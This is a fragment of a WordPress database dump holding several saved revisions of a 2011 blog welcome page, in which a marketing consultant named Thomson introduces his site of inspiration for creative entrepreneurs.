(1757, 2, '2011-07-29 15:50:50', '2011-07-29 22:50:50', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspiration for creative entrepreneurs and solo professionals in the early stages of business growth who want more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted you’ve found your way here. My intention and passion is to inspire creative entrepreneurs in the early stages of their business success with ideas to create a compelling vision for a bigger future, and provide tools and resources to turn possibilities into achievement.\r\n\r\nThe principles that guide the thinking and discussion here is detailed in the White Hot Center Manifesto. Check that out first. From there, you’ll know if you’re in the right place or not. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nLife success means different things and takes many forms for each of us. It’s my belief your success in life begins with the passion and freedom to pursue any idea that burns white-hot deep within you. If you sense a desire burning within you, allow yourself to trust it and then get on with the business of creating exactly what you want to experience.\r\n\r\nI write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something tangible in the physical world. In other words – results! I’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nThe focus here is to provide you with useful ideas and strategies for the mindset of success in the areas of personal and professional growth, leadership, lifestyle design, value creation and creating demand for your products and services that enables you to experience greater freedom that comes with financial success.  Oh yeah making money (getting paid to be you) is an important part of our conversation.\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 15:50:50', '2011-07-29 22:50:50', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-114/', 0, 'revision', '', 0),
(1758, 2, '2011-07-29 15:59:14', '2011-07-29 22:59:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspiration for creative entrepreneurs and solo professionals in the early stages of business growth who want more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted you’ve found your way here. My intention and passion is to inspire creative entrepreneurs in the early stages of their business success with ideas to create a compelling vision for a bigger future, and provide tools and resources to turn possibilities into achievement.\r\n\r\nThe principles that guide the thinking and discussion here is detailed in the White Hot Center Manifesto. Check that out first. From there, you’ll know if you’re in the right place or not. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nLife success means different things and takes many forms for each of us. It’s my belief your success in life begins with the passion and freedom to pursue any idea that burns white-hot deep within you. If you sense a desire burning within you, allow yourself to trust it and then get on with the business of creating exactly what you want to experience.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something tangible in the physical world. In other words – creating results!</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nThe focus here is to provide you with useful ideas and strategies for developing the mindset of success. The content is centered in the areas of personal and professional growth, leadership, lifestyle design, value creation and tactics for creating demand for your products and services.  Oh yeah making lots of money (getting paid to be you) is an important part of our conversation.\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 15:59:14', '2011-07-29 22:59:14', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-115/', 0, 'revision', '', 0);
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(1762, 2, '2011-07-29 16:45:14', '2011-07-29 23:45:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting than following a compelling vision for a bigger future, turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog!  I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Check that out first. From there, you’ll know if you’re in the right place or not. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nLife success means different things and takes many forms for each of us. It’s my belief  success in life begins with the passion and freedom to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping to create desired outcomes.  Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nI''ll be sharing ideas, strategies and tactics on personal and professional growth, leadership, lifestyle design, value creation and methods for creating greater demand for your products and services.  Oh yeah making lots of money (getting paid to be you) is an important part of our conversation.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 16:45:14', '2011-07-29 23:45:14', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-119/', 0, 'revision', '', 0),
(1763, 2, '2011-07-29 16:55:03', '2011-07-29 23:55:03', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog!  I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> before you browse around, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a committment to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world. To do that you have to get comfortable living on the border of what''s known and unknown. This is where you will find opportunity waiting for you.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping to create desired outcomes.  Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nI''ll be sharing ideas, strategies and tactics on personal and professional growth, leadership, lifestyle design, value creation and methods for creating greater demand for your products and services.  Oh yeah making lots of money (getting paid to be you) is an important part of our conversation.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 16:55:03', '2011-07-29 23:55:03', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-120/', 0, 'revision', '', 0),
(1764, 2, '2011-07-29 17:05:59', '2011-07-30 00:05:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog!  I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> before you browse around, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a committment to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world. To do that you have to get comfortable living on the border of what''s known and unknown. This is where you will find opportunity waiting for you.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping people create desired outcomes.  Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nThroughout the blog, there are lots of articles on strategies and tactics on personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money (getting paid to be you) is an important part of our conversation!\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 17:05:59', '2011-07-30 00:05:59', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-121/', 0, 'revision', '', 0),
(1765, 2, '2011-07-29 17:06:24', '2011-07-30 00:06:24', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog!  I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> before you browse around, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a committment to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world. To do that you have to get comfortable living on the border of what''s known and unknown. This is where you will find opportunity waiting for you.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping people create desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nThroughout the blog, there are lots of articles on strategies and tactics on personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money (getting paid to be you) is an important part of our conversation!\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 17:06:24', '2011-07-30 00:06:24', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-122/', 0, 'revision', '', 0),
(1768, 2, '2011-07-29 17:15:50', '2011-07-30 00:15:50', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog!  I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a committment to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world. To do that you have to get comfortable living on the border of what''s known and unknown. This is where you will find opportunity waiting for you.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, there are lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money (getting paid to be you) is  an important part of our conversation!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 17:15:50', '2011-07-30 00:15:50', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-125/', 0, 'revision', '', 0),
(1766, 2, '2011-07-29 17:14:07', '2011-07-30 00:14:07', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog!  I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> before you browse around, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a committment to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world. To do that you have to get comfortable living on the border of what''s known and unknown. This is where you will find opportunity waiting for you.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, there are lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money (getting paid to be you) is  an important part of our conversation!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 17:14:07', '2011-07-30 00:14:07', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-123/', 0, 'revision', '', 0),
(1767, 2, '2011-07-29 17:15:12', '2011-07-30 00:15:12', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog!  I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a committment to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world. To do that you have to get comfortable living on the border of what''s known and unknown. This is where you will find opportunity waiting for you.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, there are lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money (getting paid to be you) is  an important part of our conversation!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 17:15:12', '2011-07-30 00:15:12', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-124/', 0, 'revision', '', 0),
(1769, 2, '2011-07-29 17:18:31', '2011-07-30 00:18:31', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog! I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a commitment to pursue any idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. This is where you''ll find your best opportunities waiting for you!\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, there are lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money (getting paid to be you) is  an important part of our conversation!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a 